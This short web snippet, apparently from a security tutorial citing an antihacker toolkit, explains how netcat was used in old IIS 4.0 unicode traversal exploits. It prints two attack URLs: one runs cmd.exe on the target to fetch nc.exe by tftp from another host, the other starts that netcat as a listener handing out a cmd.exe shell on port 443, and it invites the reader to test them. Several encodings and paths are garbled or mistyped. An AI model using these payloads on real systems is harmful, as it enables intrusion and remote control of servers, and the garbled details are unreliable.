|
Netcat can be used with unicode. |
|
|
|
This particular use of netcat was the driving force behind some popular exploits of the internet information server (IIS) 4.0 Microsoft Data Access Component (MDAC). The scripts as follows: http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20-i%20orginix%20GET%20nc.exe%20update.exe If successful, this command would efectively put netcat on 10.10.0.1 in the intetpub\scripts directory as update.exe the hacker could starts using it as URL http://10.10.0.1/scripts /../%c%pc/../inetpub/scripts/update.exe?-1%20-d%20-L%20-p%20443%20-e%20cmd.exe You can test it. Source from antihacker toolkit.
Related Items:
|